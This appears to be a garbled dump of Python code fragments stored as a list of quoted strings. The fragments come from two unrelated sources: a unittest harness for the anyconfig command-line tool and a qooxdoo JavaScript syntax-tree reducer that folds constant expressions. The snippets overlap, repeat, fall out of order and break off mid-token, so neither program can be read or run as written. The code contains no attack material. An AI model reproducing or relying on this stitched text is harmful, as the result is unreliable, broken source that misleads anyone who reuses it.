"\"\"\" expected: datatypes.Expected = tdata.exp with self.assertRaises(expected.exception, msg=repr(tdata)) as ctx: with contextlib.redirect_stdout(io.StringIO()) as",
"test_runs_for_datasets(self) -> None: if self.collector and self.collector.initialized: if self.collector.kind == base.TDataCollector.kind: return for",
"not require inputs. \"\"\" def make_args(self, tdata): # pylint: disable=no-self-use \"\"\"Make arguments to",
"cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts + [str(tdata.inp_path)] class BaseTestCase(unittest.TestCase): \"\"\"Base Test case.",
"opath = pathlib.Path(tdir) / tdata.outname # Run anyconfig.cli.main with arguments. TT.main(args + ['-o',",
"self.assertTrue(expected.words_in_stdout in msg, msg) if expected.words_in_stderr: err = stderr.getvalue() self.assertTrue(expected.words_in_stderr in err, err)",
"ctx.exception self.assertTrue(isinstance(exc, expected.exception)) ecode = getattr(exc, 'error_code', getattr(exc, 'code', 1)) if expected.exit_code_matches: self.assertEqual(ecode,",
"\"\"\" import contextlib import io import pathlib import sys import tempfile import unittest",
"tdata): \"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts + [str(tdata.inp_path)]",
"= pathlib.Path(tdir) / tdata.outname # Run anyconfig.cli.main with arguments. TT.main(args + ['-o', str(opath)])",
"# Copyright (C) 2013 - 2021 <NAME> <<EMAIL>> # License: MIT # #",
"'error_code', getattr(exc, 'code', 1)) if expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code, f'{tdata!r}') else: self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}')",
"expected.words_in_stdout: msg = stdout.getvalue() self.assertTrue(expected.words_in_stdout in msg, msg) if expected.words_in_stderr: err = stderr.getvalue()",
"= make_args def setUp(self): if self.collector: self.collector.init() def post_checks(self, tdata, *args, **kwargs): \"\"\"Placeholder",
".. import base from . import collectors, datatypes def make_args(_self, tdata): \"\"\"Make arguments",
"was expected one. \"\"\" expected: datatypes.Expected = tdata.exp with self.assertRaises(expected.exception, msg=repr(tdata)) as ctx:",
"anyconfig.api.UnknownFileTypeError: odata = anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata, tdata.ref, repr(tdata)) self.post_checks(tdata, opath) else: # Likewise",
"stderr.getvalue() self.assertTrue(expected.words_in_stderr in err, err) def test_runs_for_datasets(self) -> None: if self.collector and self.collector.initialized:",
"self.collector.kind == base.TDataCollector.kind: return for tdata in self.collector.each_data(): self.run_main(tdata) class NoInputTestCase(BaseTestCase): \"\"\"Test cases",
"io import pathlib import sys import tempfile import unittest import anyconfig.api import anyconfig.cli",
"for tdata in self.collector.each_data(): self.run_main(tdata) class NoInputTestCase(BaseTestCase): \"\"\"Test cases which does not require",
"disable=missing-docstring \"\"\"test cases for anyconfig.cli module. \"\"\" import contextlib import io import pathlib",
"self.assertRaises(expected.exception, msg=repr(tdata)) as ctx: with contextlib.redirect_stdout(io.StringIO()) as stdout: with contextlib.redirect_stderr(io.StringIO()) as stderr: self._run_main(tdata)",
"arguments to run cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts + [str(tdata.inp_path)] class BaseTestCase(unittest.TestCase):",
"MIT # # pylint: disable=missing-docstring \"\"\"test cases for anyconfig.cli module. \"\"\" import contextlib",
"datatypes def make_args(_self, tdata): \"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli'] +",
"[str(tdata.inp_path)] class BaseTestCase(unittest.TestCase): \"\"\"Base Test case. \"\"\" collector = collectors.Collector() make_args = make_args",
"tdata.exp.exit_code_matches and tdata.exp.exit_code == 0: self.assertTrue(opath.exists(), str(opath)) try: odata = anyconfig.api.load(opath, **tdata.oo_opts) except",
"ctx: with contextlib.redirect_stdout(io.StringIO()) as stdout: with contextlib.redirect_stderr(io.StringIO()) as stderr: self._run_main(tdata) exc = ctx.exception",
"require inputs. \"\"\" def make_args(self, tdata): # pylint: disable=no-self-use \"\"\"Make arguments to run",
"case. \"\"\" collector = collectors.Collector() make_args = make_args def setUp(self): if self.collector: self.collector.init()",
"TT.main(args) self.post_checks(tdata) sys.exit(0) def run_main(self, tdata) -> None: \"\"\" Run anyconfig.cli.main and check",
"as tdir: opath = pathlib.Path(tdir) / tdata.outname # Run anyconfig.cli.main with arguments. TT.main(args",
"f'{tdata!r}') if expected.words_in_stdout: msg = stdout.getvalue() self.assertTrue(expected.words_in_stdout in msg, msg) if expected.words_in_stderr: err",
"\"\"\"Base Test case. \"\"\" collector = collectors.Collector() make_args = make_args def setUp(self): if",
"None, 'No reference data was given, {tdata!r}' ) with tempfile.TemporaryDirectory() as tdir: opath",
"with contextlib.redirect_stderr(io.StringIO()) as stderr: self._run_main(tdata) exc = ctx.exception self.assertTrue(isinstance(exc, expected.exception)) ecode = getattr(exc,",
"== base.TDataCollector.kind: return for tdata in self.collector.each_data(): self.run_main(tdata) class NoInputTestCase(BaseTestCase): \"\"\"Test cases which",
"was given, {tdata!r}' ) with tempfile.TemporaryDirectory() as tdir: opath = pathlib.Path(tdir) / tdata.outname",
"<NAME> <<EMAIL>> # License: MIT # # pylint: disable=missing-docstring \"\"\"test cases for anyconfig.cli",
"unittest import anyconfig.api import anyconfig.cli as TT from .. import base from .",
"cli.main will output files. self.assertTrue( tdata.ref is not None, 'No reference data was",
"\"\"\"Placeholder to do more post checks. \"\"\" pass def _run_main(self, tdata): \"\"\"Wrapper for",
"tdir: opath = pathlib.Path(tdir) / tdata.outname # Run anyconfig.cli.main with arguments. TT.main(args +",
"- 2021 <NAME> <<EMAIL>> # License: MIT # # pylint: disable=missing-docstring \"\"\"test cases",
"sys.exit(0) def run_main(self, tdata) -> None: \"\"\" Run anyconfig.cli.main and check if the",
"= getattr(exc, 'error_code', getattr(exc, 'code', 1)) if expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code, f'{tdata!r}') else: self.assertNotEqual(ecode,",
"+ [str(tdata.inp_path)] class BaseTestCase(unittest.TestCase): \"\"\"Base Test case. \"\"\" collector = collectors.Collector() make_args =",
"= anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata, tdata.ref, repr(tdata)) self.post_checks(tdata, opath) else: # Likewise but without",
"self.collector.init() def post_checks(self, tdata, *args, **kwargs): \"\"\"Placeholder to do more post checks. \"\"\"",
"import contextlib import io import pathlib import sys import tempfile import unittest import",
"args = self.make_args(tdata) if tdata.outname: # Running cli.main will output files. self.assertTrue( tdata.ref",
"self.assertEqual(odata, tdata.ref, repr(tdata)) self.post_checks(tdata, opath) else: # Likewise but without -o <output_path> option.",
"<output_path> option. TT.main(args) self.post_checks(tdata) sys.exit(0) def run_main(self, tdata) -> None: \"\"\" Run anyconfig.cli.main",
"make_args def setUp(self): if self.collector: self.collector.init() def post_checks(self, tdata, *args, **kwargs): \"\"\"Placeholder to",
"self.post_checks(tdata, opath) else: # Likewise but without -o <output_path> option. TT.main(args) self.post_checks(tdata) sys.exit(0)",
"msg, msg) if expected.words_in_stderr: err = stderr.getvalue() self.assertTrue(expected.words_in_stderr in err, err) def test_runs_for_datasets(self)",
"\"\"\"Wrapper for cli.main.\"\"\" args = self.make_args(tdata) if tdata.outname: # Running cli.main will output",
"collector = collectors.Collector() make_args = make_args def setUp(self): if self.collector: self.collector.init() def post_checks(self,",
"collectors.Collector() make_args = make_args def setUp(self): if self.collector: self.collector.init() def post_checks(self, tdata, *args,",
"for anyconfig.cli module. \"\"\" import contextlib import io import pathlib import sys import",
"anyconfig.api.load(opath, **tdata.oo_opts) except anyconfig.api.UnknownFileTypeError: odata = anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata, tdata.ref, repr(tdata)) self.post_checks(tdata, opath)",
"def post_checks(self, tdata, *args, **kwargs): \"\"\"Placeholder to do more post checks. \"\"\" pass",
". import collectors, datatypes def make_args(_self, tdata): \"\"\"Make arguments to run cli.main. \"\"\"",
"else: # Likewise but without -o <output_path> option. TT.main(args) self.post_checks(tdata) sys.exit(0) def run_main(self,",
"exc = ctx.exception self.assertTrue(isinstance(exc, expected.exception)) ecode = getattr(exc, 'error_code', getattr(exc, 'code', 1)) if",
"getattr(exc, 'error_code', getattr(exc, 'code', 1)) if expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code, f'{tdata!r}') else: self.assertNotEqual(ecode, expected.exit_code,",
"post checks. \"\"\" pass def _run_main(self, tdata): \"\"\"Wrapper for cli.main.\"\"\" args = self.make_args(tdata)",
"*args, **kwargs): \"\"\"Placeholder to do more post checks. \"\"\" pass def _run_main(self, tdata):",
"Run anyconfig.cli.main and check if the exit code was expected one. \"\"\" expected:",
"checks. \"\"\" pass def _run_main(self, tdata): \"\"\"Wrapper for cli.main.\"\"\" args = self.make_args(tdata) if",
"and check if the exit code was expected one. \"\"\" expected: datatypes.Expected =",
"# pylint: disable=missing-docstring \"\"\"test cases for anyconfig.cli module. \"\"\" import contextlib import io",
"self.assertTrue( tdata.ref is not None, 'No reference data was given, {tdata!r}' ) with",
"self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}') if expected.words_in_stdout: msg = stdout.getvalue() self.assertTrue(expected.words_in_stdout in msg, msg) if",
"= anyconfig.api.load(opath, **tdata.oo_opts) except anyconfig.api.UnknownFileTypeError: odata = anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata, tdata.ref, repr(tdata)) self.post_checks(tdata,",
"def _run_main(self, tdata): \"\"\"Wrapper for cli.main.\"\"\" args = self.make_args(tdata) if tdata.outname: # Running",
"None: \"\"\" Run anyconfig.cli.main and check if the exit code was expected one.",
"\"\"\" Run anyconfig.cli.main and check if the exit code was expected one. \"\"\"",
"tdata): # pylint: disable=no-self-use \"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli'] +",
"# pylint: disable=no-self-use \"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts",
"self.collector.each_data(): self.run_main(tdata) class NoInputTestCase(BaseTestCase): \"\"\"Test cases which does not require inputs. \"\"\" def",
"['-o', str(opath)]) if tdata.exp.exit_code_matches and tdata.exp.exit_code == 0: self.assertTrue(opath.exists(), str(opath)) try: odata =",
"self.collector and self.collector.initialized: if self.collector.kind == base.TDataCollector.kind: return for tdata in self.collector.each_data(): self.run_main(tdata)",
"to run cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts + [str(tdata.inp_path)] class BaseTestCase(unittest.TestCase): \"\"\"Base",
"'No reference data was given, {tdata!r}' ) with tempfile.TemporaryDirectory() as tdir: opath =",
"base from . import collectors, datatypes def make_args(_self, tdata): \"\"\"Make arguments to run",
"base.TDataCollector.kind: return for tdata in self.collector.each_data(): self.run_main(tdata) class NoInputTestCase(BaseTestCase): \"\"\"Test cases which does",
"tdata.opts + [str(tdata.inp_path)] class BaseTestCase(unittest.TestCase): \"\"\"Base Test case. \"\"\" collector = collectors.Collector() make_args",
"import base from . import collectors, datatypes def make_args(_self, tdata): \"\"\"Make arguments to",
"will output files. self.assertTrue( tdata.ref is not None, 'No reference data was given,",
"msg=repr(tdata)) as ctx: with contextlib.redirect_stdout(io.StringIO()) as stdout: with contextlib.redirect_stderr(io.StringIO()) as stderr: self._run_main(tdata) exc",
"expected.exit_code, f'{tdata!r}') if expected.words_in_stdout: msg = stdout.getvalue() self.assertTrue(expected.words_in_stdout in msg, msg) if expected.words_in_stderr:",
"# License: MIT # # pylint: disable=missing-docstring \"\"\"test cases for anyconfig.cli module. \"\"\"",
"if tdata.exp.exit_code_matches and tdata.exp.exit_code == 0: self.assertTrue(opath.exists(), str(opath)) try: odata = anyconfig.api.load(opath, **tdata.oo_opts)",
"exit code was expected one. \"\"\" expected: datatypes.Expected = tdata.exp with self.assertRaises(expected.exception, msg=repr(tdata))",
"def make_args(_self, tdata): \"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts",
"Copyright (C) 2013 - 2021 <NAME> <<EMAIL>> # License: MIT # # pylint:",
"tdata) -> None: \"\"\" Run anyconfig.cli.main and check if the exit code was",
"contextlib.redirect_stderr(io.StringIO()) as stderr: self._run_main(tdata) exc = ctx.exception self.assertTrue(isinstance(exc, expected.exception)) ecode = getattr(exc, 'error_code',",
"expected.exit_code, f'{tdata!r}') else: self.assertNotEqual(ecode, expected.exit_code, f'{tdata!r}') if expected.words_in_stdout: msg = stdout.getvalue() self.assertTrue(expected.words_in_stdout in",
"is not None, 'No reference data was given, {tdata!r}' ) with tempfile.TemporaryDirectory() as",
"stdout.getvalue() self.assertTrue(expected.words_in_stdout in msg, msg) if expected.words_in_stderr: err = stderr.getvalue() self.assertTrue(expected.words_in_stderr in err,",
"err, err) def test_runs_for_datasets(self) -> None: if self.collector and self.collector.initialized: if self.collector.kind ==",
"self.assertTrue(isinstance(exc, expected.exception)) ecode = getattr(exc, 'error_code', getattr(exc, 'code', 1)) if expected.exit_code_matches: self.assertEqual(ecode, expected.exit_code,",
"0: self.assertTrue(opath.exists(), str(opath)) try: odata = anyconfig.api.load(opath, **tdata.oo_opts) except anyconfig.api.UnknownFileTypeError: odata = anyconfig.api.load(opath,",
"= tdata.exp with self.assertRaises(expected.exception, msg=repr(tdata)) as ctx: with contextlib.redirect_stdout(io.StringIO()) as stdout: with contextlib.redirect_stderr(io.StringIO())",
"code was expected one. \"\"\" expected: datatypes.Expected = tdata.exp with self.assertRaises(expected.exception, msg=repr(tdata)) as",
"run cli.main. \"\"\" return ['anyconfig_cli'] + tdata.opts + [str(tdata.inp_path)] class BaseTestCase(unittest.TestCase): \"\"\"Base Test",
"tdata.ref, repr(tdata)) self.post_checks(tdata, opath) else: # Likewise but without -o <output_path> option. TT.main(args)",
"the exit code was expected one. \"\"\" expected: datatypes.Expected = tdata.exp with self.assertRaises(expected.exception,",
"anyconfig.cli module. \"\"\" import contextlib import io import pathlib import sys import tempfile",
"pathlib.Path(tdir) / tdata.outname # Run anyconfig.cli.main with arguments. TT.main(args + ['-o', str(opath)]) if",
"pathlib import sys import tempfile import unittest import anyconfig.api import anyconfig.cli as TT",
"make_args(self, tdata): # pylint: disable=no-self-use \"\"\"Make arguments to run cli.main. \"\"\" return ['anyconfig_cli']",
"2021 <NAME> <<EMAIL>> # License: MIT # # pylint: disable=missing-docstring \"\"\"test cases for",
"more post checks. \"\"\" pass def _run_main(self, tdata): \"\"\"Wrapper for cli.main.\"\"\" args =",
"odata = anyconfig.api.load(opath, ac_parser='json') self.assertEqual(odata, tdata.ref, repr(tdata)) self.post_checks(tdata, opath) else: # Likewise but",
"from .. import base from . import collectors, datatypes def make_args(_self, tdata): \"\"\"Make",
"as TT from .. import base from . import collectors, datatypes def make_args(_self,",
"import tempfile import unittest import anyconfig.api import anyconfig.cli as TT from .. import",
"output files. self.assertTrue( tdata.ref is not None, 'No reference data was given, {tdata!r}'",
"without -o <output_path> option. TT.main(args) self.post_checks(tdata) sys.exit(0) def run_main(self, tdata) -> None: \"\"\"",
"-> None: \"\"\" Run anyconfig.cli.main and check if the exit code was expected",
"= stderr.getvalue() self.assertTrue(expected.words_in_stderr in err, err) def test_runs_for_datasets(self) -> None: if self.collector and",
"class BaseTestCase(unittest.TestCase): \"\"\"Base Test case. \"\"\" collector = collectors.Collector() make_args = make_args def",
"stdout: with contextlib.redirect_stderr(io.StringIO()) as stderr: self._run_main(tdata) exc = ctx.exception self.assertTrue(isinstance(exc, expected.exception)) ecode ="
] |
[
"str(value)) elif isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\")",
"= node if loop_type == \"IF\": cond_node = node.children[0] if hasattr(cond_node, \"evaluated\"): value",
"for a tree/contant # node, for easier operations, checking for hasattr() to determine",
"getattr(self, \"visit_\"+node.type)(nnode) return nnode # - Due to pre-order recursion, type-specific methods don't",
"op2): op2 = (op2 & 0x1f) # coerce to 0..31 return operation(op1,op2) operations['LSH']",
"operator.or_ operations['BITXOR'] = operator.xor operations['BITNOT'] = operator.inv # second shift operand must be",
"nnode = self.operations[operator](op1.evaluated, op2, op3) return nnode ## # Take a Python value",
"1: nnode = self._visit_monadic(node, operator) elif arity == 2: nnode = self._visit_dyadic(node, operator)",
"hasattr(op1, \"evaluated\"): if operator in self.operations: evaluated = self.operations[operator](op1.evaluated) if evaluated!=(): nnode =",
"str(value).lower()) elif isinstance(value, (types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.FloatType):",
"(thron7) # ################################################################################ ## # Reduce the value of a syntax tree (expression).",
"constdetail == \"int\": value = util.parseInt(constvalue) elif constdetail == \"float\": value = float(constvalue)",
"fill operations['URSH'] = func.partial(opr, ursh) # ?: def opr(op1, op2, op3): return op2",
"operations['ADD'] = func.partial(opr, '+') operations['SUB'] = func.partial(opr, '-') #operations['INC'] -- only on vars!",
"# Computes new, pot. reduced tree. Does a post-order recursion (children first). #",
"arity = len(node.children) if arity == 1: nnode = self._visit_monadic(node, operator) elif arity",
"s: result = [] chunks = s.split(\"'\") for chunk in chunks[:-1]: result.append(chunk) if",
"() operations['MUL'] = func.partial(opr, operator.mul) operations['DIV'] = func.partial(opr, operator.truediv) operations['MOD'] = func.partial(opr, operator.mod)",
"nnode.evaluated = evaluated return nnode def _visit_dyadic(self, node, operator): op1 = node.children[0] op2",
"== 3: nnode = self._visit_triadic(node, operator) return nnode ## # IF def visit_loop(self,",
"self.operations = self._init_operations() def _init_operations(self): operations = {} types_Number = (types.IntType, types.LongType, types.FloatType,",
"op2) nnode = op1 if evaluated==op1.evaluated else op2 elif all([hasattr(x, 'evaluated') for x",
"only if we have embedded quotes we have to check escaping if \"'\"",
"op2)]): evaluated = self.operations[operator](op1.evaluated, op2.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode,",
"operation(op1, op2) else: return () operations['MUL'] = func.partial(opr, operator.mul) operations['DIV'] = func.partial(opr, operator.truediv)",
"from ecmascript.frontend import treeutil, treegenerator from ecmascript.frontend.treegenerator import symbol from ecmascript.frontend import Scanner",
"nnode = expr_node return nnode def _visit_monadic(self, node, operator): op1 = node.children[0] nnode",
"{} types_Number = (types.IntType, types.LongType, types.FloatType, types.BooleanType) def opr(operation, op1, op2): if all([isinstance(x,",
"AST reducer # # Computes new, pot. reduced tree. Does a post-order recursion",
"\"'\" in s: result = [] chunks = s.split(\"'\") for chunk in chunks[:-1]:",
"a concat operation that combined differently # quoted strings, like 'fo\"o\"bar' + \"ba\"\\z\\\"boing\").",
"types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\") else:",
"## # Reduce the value of a syntax tree (expression). ## import os,",
"for x in (op1,op2)]): result = operator.add(op1,op2) return result operations['ADD'] = func.partial(opr, '+')",
"= node.get(\"loopType\") nnode = node if loop_type == \"IF\": cond_node = node.children[0] if",
"easier operations, checking for hasattr() to determine # evaluated-ness. class ASTReducer(treeutil.NodeVisitor): def __init__(self,",
"operation=='+': result = operator.pos(op1) elif operation=='-': result = operator.neg(op1) elif isinstance(op2, types_Number): if",
"to 0..31 return operation(op1,op2) operations['LSH'] = func.partial(opr, operator.lshift) #def rsh(op1, op2): # http://bit.ly/13v4Adq",
"#operations['RSH'] = func.partial(opr, rsh) operations['RSH'] = func.partial(opr, operator.rshift) def ursh(op1, op2): op1 =",
"= operator.neg(op1) elif isinstance(op2, types_Number): if operation=='+': result = operator.add(op1,op2) elif operation=='-': result",
"second shift operand must be in 0..31 in JS def opr(operation, op1, op2):",
"# only if we have embedded quotes we have to check escaping if",
"node if operator in self.operations: if operator in ['AND', 'OR'] and hasattr(op1, 'evaluated'):",
"types_Number = (types.IntType, types.LongType, types.FloatType, types.BooleanType) def opr(operation, op1, op2): if all([isinstance(x, types_Number)",
"operator): op1 = node.children[0] op2 = node.children[1] op3 = node.children[2] nnode = node",
"op1, op2=()): result = () if isinstance(op1, types_Number): # prefix +/- if op2==():",
"x,y: x or y # bit operations only operate on 32-bit integers in",
"operations['HOOK'] = opr return operations # end:_init_operations def visit(self, node): # pre-order reduce",
"opr return operations # end:_init_operations def visit(self, node): # pre-order reduce children, to",
"elif arity == 3: nnode = self._visit_triadic(node, operator) return nnode ## # IF",
"the node's \"constantType\" # def set_node_type_from_value(valueNode, value): if isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes, escaped_value",
"def set_node_type_from_value(valueNode, value): if isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes, escaped_value = escape_quotes(value) valueNode.set(\"detail\", quotes)",
"= {} types_Number = (types.IntType, types.LongType, types.FloatType, types.BooleanType) def opr(operation, op1, op2): if",
"self.visit(child) nchilds.append(nchild) nnode = node nnode.children = [] for cld in nchilds: nnode.addChild(cld)",
"\"(true)\" etc. if len(node.children)==1: expr_node = node.children[0] if expr_node.type == 'constant': # must",
"and hasattr(op1, 'evaluated'): nnode = self.operations[operator](op1.evaluated, op2, op3) return nnode ## # Take",
"the quoting to be used on that string in code ('singlequotes', # 'doublequotes'),",
"= operator.and_ operations['BITOR'] = operator.or_ operations['BITXOR'] = operator.xor operations['BITNOT'] = operator.inv # second",
"& 0xffffffff) # coerce to 32-bit int return operator.rshift(op1, op2) # Python .rshift",
"types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\") else: raise ValueError(\"Illegal value for JS constant: %s\" %",
"= node.get(\"constantType\") value = () # the empty tuple indicates unevaluated if consttype",
"= ((sign << op2) - 1) << (32 - op2) # else: #",
"string in code ('singlequotes', # 'doublequotes'), and escape pot. embedded quotes correspondingly. #",
"prefix and infix +/- def opr(operation, op1, op2=()): result = () if isinstance(op1,",
"= self.operations[operator](op1.evaluated, op2, op3) return nnode ## # Take a Python value and",
"def _init_operations(self): operations = {} types_Number = (types.IntType, types.LongType, types.FloatType, types.BooleanType) def opr(operation,",
"python # -*- coding: utf-8 -*- ################################################################################ # # qooxdoo - the new",
"= func.partial(opr, '+') operations['SUB'] = func.partial(opr, '-') #operations['INC'] -- only on vars! #operations['DEC']",
"operator): op1 = node.children[0] nnode = node if hasattr(op1, \"evaluated\"): if operator in",
"operate on 32-bit integers in JS operations['BITAND'] = operator.and_ operations['BITOR'] = operator.or_ operations['BITXOR']",
"from misc import util ## # ASTReducer - newer approach: A general AST",
"op1 if evaluated==op1.evaluated else op2 elif all([hasattr(x, 'evaluated') for x in (op1, op2)]):",
"functools as func from ecmascript.frontend import treeutil, treegenerator from ecmascript.frontend.treegenerator import symbol from",
"operator.not_ operations['AND'] = lambda x,y: x and y operations['OR'] = lambda x,y: x",
"(op2 & 0x1f) # coerce to 0..31 return operation(op1,op2) operations['LSH'] = func.partial(opr, operator.lshift)",
"0..31 in JS def opr(operation, op1, op2): op2 = (op2 & 0x1f) #",
"consttype = node.get(\"constantType\") value = () # the empty tuple indicates unevaluated if",
"hasattr(cond_node, \"evaluated\"): value = bool(cond_node.evaluated) nnode, is_empty = treeutil.inlineIfStatement(node, value, inPlace=False) return nnode",
"return operator.rshift(op1, op2) # Python .rshift does 0 fill operations['URSH'] = func.partial(opr, ursh)",
"root_node self.operations = self._init_operations() def _init_operations(self): operations = {} types_Number = (types.IntType, types.LongType,",
"s # only if we have embedded quotes we have to check escaping",
"chunk in chunks[:-1]: result.append(chunk) if not Scanner.is_last_escaped(chunk + \"'\"): result.append('\\\\') result.append(\"'\") result.append(chunks[-1]) result",
"value = None if value!=(): node.evaluated = value return node def visit_operation(self, node):",
"node if hasattr(op1, \"evaluated\"): if operator in self.operations: evaluated = self.operations[operator](op1.evaluated) if evaluated!=():",
"with nodes, to keep the Python value for a tree/contant # node, for",
"# * <NAME> (thron7) # ################################################################################ ## # Reduce the value of a",
"return nnode # - Due to pre-order recursion, type-specific methods don't need to",
"quoted strings, like 'fo\"o\"bar' + \"ba\"\\z\\\"boing\"). # def escape_quotes(s): quotes = 'singlequotes' #",
"if bool(op1) else op3 operations['HOOK'] = opr return operations # end:_init_operations def visit(self,",
"check escaping if \"'\" in s: result = [] chunks = s.split(\"'\") for",
"See the LICENSE file in the project's top-level directory for details. # #",
"value = util.parseInt(constvalue) elif constdetail == \"float\": value = float(constvalue) elif consttype ==",
"Python value for a tree/contant # node, for easier operations, checking for hasattr()",
"# sign = (op1 >> 31) & 1 # if sign: # fills",
"node.children[0] if expr_node.type == 'constant': # must have been evaluated by pre-order nnode",
"def _visit_triadic(self, node, operator): op1 = node.children[0] op2 = node.children[1] op3 = node.children[2]",
"evaluated = self.operations[operator](op1.evaluated, op2.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated)",
"if all([isinstance(x, types_Number) for x in (op1, op2)]): return operation(op1, op2) else: return",
"(op1 & 0xffffffff) # coerce to 32-bit int return operator.rshift(op1, op2) # Python",
"coerce to 32-bit int return operator.rshift(op1, op2) # Python .rshift does 0 fill",
"= lambda x,y: x and y operations['OR'] = lambda x,y: x or y",
"op1 = node.children[0] op2 = node.children[1] op3 = node.children[2] nnode = node if",
"\"float\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\") else: raise ValueError(\"Illegal value",
"return nnode def _visit_dyadic(self, node, operator): op1 = node.children[0] op2 = node.children[1] nnode",
"= s # only if we have embedded quotes we have to check",
"visit_constant(self, node): constvalue = node.get(\"value\") consttype = node.get(\"constantType\") value = () # the",
"== 2: nnode = self._visit_dyadic(node, operator) elif arity == 3: nnode = self._visit_triadic(node,",
"['AND', 'OR'] and hasattr(op1, 'evaluated'): # short-circuit ops evaluated = self.operations[operator](op1.evaluated, op2) nnode",
"func.partial(opr, operator.mul) operations['DIV'] = func.partial(opr, operator.truediv) operations['MOD'] = func.partial(opr, operator.mod) # Have to",
"op3): return op2 if bool(op1) else op3 operations['HOOK'] = opr return operations #",
"from ecmascript.frontend.treegenerator import symbol from ecmascript.frontend import Scanner from misc import util ##",
"str(value)) elif isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\") else: raise ValueError(\"Illegal value for JS",
"# return ((op1 & 0xffffffff) >> op2) | fills #operations['RSH'] = func.partial(opr, rsh)",
"value = constvalue elif consttype == \"boolean\": value = {\"true\":True, \"false\":False}[constvalue] elif consttype",
"ecmascript.frontend import Scanner from misc import util ## # ASTReducer - newer approach:",
"end:_init_operations def visit(self, node): # pre-order reduce children, to have their values when",
"node): constvalue = node.get(\"value\") consttype = node.get(\"constantType\") value = () # the empty",
"current node, might return a fresh symbol() if hasattr(self, \"visit_\"+node.type): nnode = getattr(self,",
"it is enough to evaluate the condition if operator == \"HOOK\" and hasattr(op1,",
"evaluate HOOK, it is enough to evaluate the condition if operator == \"HOOK\"",
"+ \"ba\"\\z\\\"boing\"). # def escape_quotes(s): quotes = 'singlequotes' # aribtrary choice result =",
"to evaluate HOOK, it is enough to evaluate the condition if operator ==",
"s.split(\"'\") for chunk in chunks[:-1]: result.append(chunk) if not Scanner.is_last_escaped(chunk + \"'\"): result.append('\\\\') result.append(\"'\")",
"cond_node = node.children[0] if hasattr(cond_node, \"evaluated\"): value = bool(cond_node.evaluated) nnode, is_empty = treeutil.inlineIfStatement(node,",
"= [] for cld in nchilds: nnode.addChild(cld) # try reducing current node, might",
"value = bool(cond_node.evaluated) nnode, is_empty = treeutil.inlineIfStatement(node, value, inPlace=False) return nnode ## #",
"if loop_type == \"IF\": cond_node = node.children[0] if hasattr(cond_node, \"evaluated\"): value = bool(cond_node.evaluated)",
"1) << (32 - op2) # else: # fills = 0 # return",
"treeutil.inlineIfStatement(node, value, inPlace=False) return nnode ## # (group) def visit_group(self, node): nnode =",
"empty tuple indicates unevaluated if consttype == \"number\": constdetail = node.get(\"detail\") if constdetail",
"consttype == \"number\": constdetail = node.get(\"detail\") if constdetail == \"int\": value = util.parseInt(constvalue)",
"= self._init_operations() def _init_operations(self): operations = {} types_Number = (types.IntType, types.LongType, types.FloatType, types.BooleanType)",
"result = () if isinstance(op1, types_Number): # prefix +/- if op2==(): if operation=='+':",
"evaluated return nnode ## # HOOK def _visit_triadic(self, node, operator): op1 = node.children[0]",
"(32 - op2) # else: # fills = 0 # return ((op1 &",
"valueNode.set(\"constantType\",\"string\") quotes, escaped_value = escape_quotes(value) valueNode.set(\"detail\", quotes) valueNode.set(\"value\", escaped_value) elif isinstance(value, types.BooleanType): #",
"= 'singlequotes' # aribtrary choice result = s # only if we have",
"# - Due to pre-order recursion, type-specific methods don't need to recurse #",
"node.get(\"operator\") arity = len(node.children) if arity == 1: nnode = self._visit_monadic(node, operator) elif",
"IF def visit_loop(self, node): loop_type = node.get(\"loopType\") nnode = node if loop_type ==",
"2006-2013 1&1 Internet AG, Germany, http://www.1und1.de # # License: # MIT: https://opensource.org/licenses/MIT #",
"treeutil, treegenerator from ecmascript.frontend.treegenerator import symbol from ecmascript.frontend import Scanner from misc import",
"= operator.ne operations['LT'] = operator.lt operations['LE'] = operator.le operations['GT'] = operator.gt operations['GE'] =",
"evaluated return nnode def _visit_dyadic(self, node, operator): op1 = node.children[0] op2 = node.children[1]",
"== 1: nnode = self._visit_monadic(node, operator) elif arity == 2: nnode = self._visit_dyadic(node,",
"op2 elif all([hasattr(x, 'evaluated') for x in (op1, op2)]): evaluated = self.operations[operator](op1.evaluated, op2.evaluated)",
"op2==(): if operation=='+': result = operator.pos(op1) elif operation=='-': result = operator.neg(op1) elif isinstance(op2,",
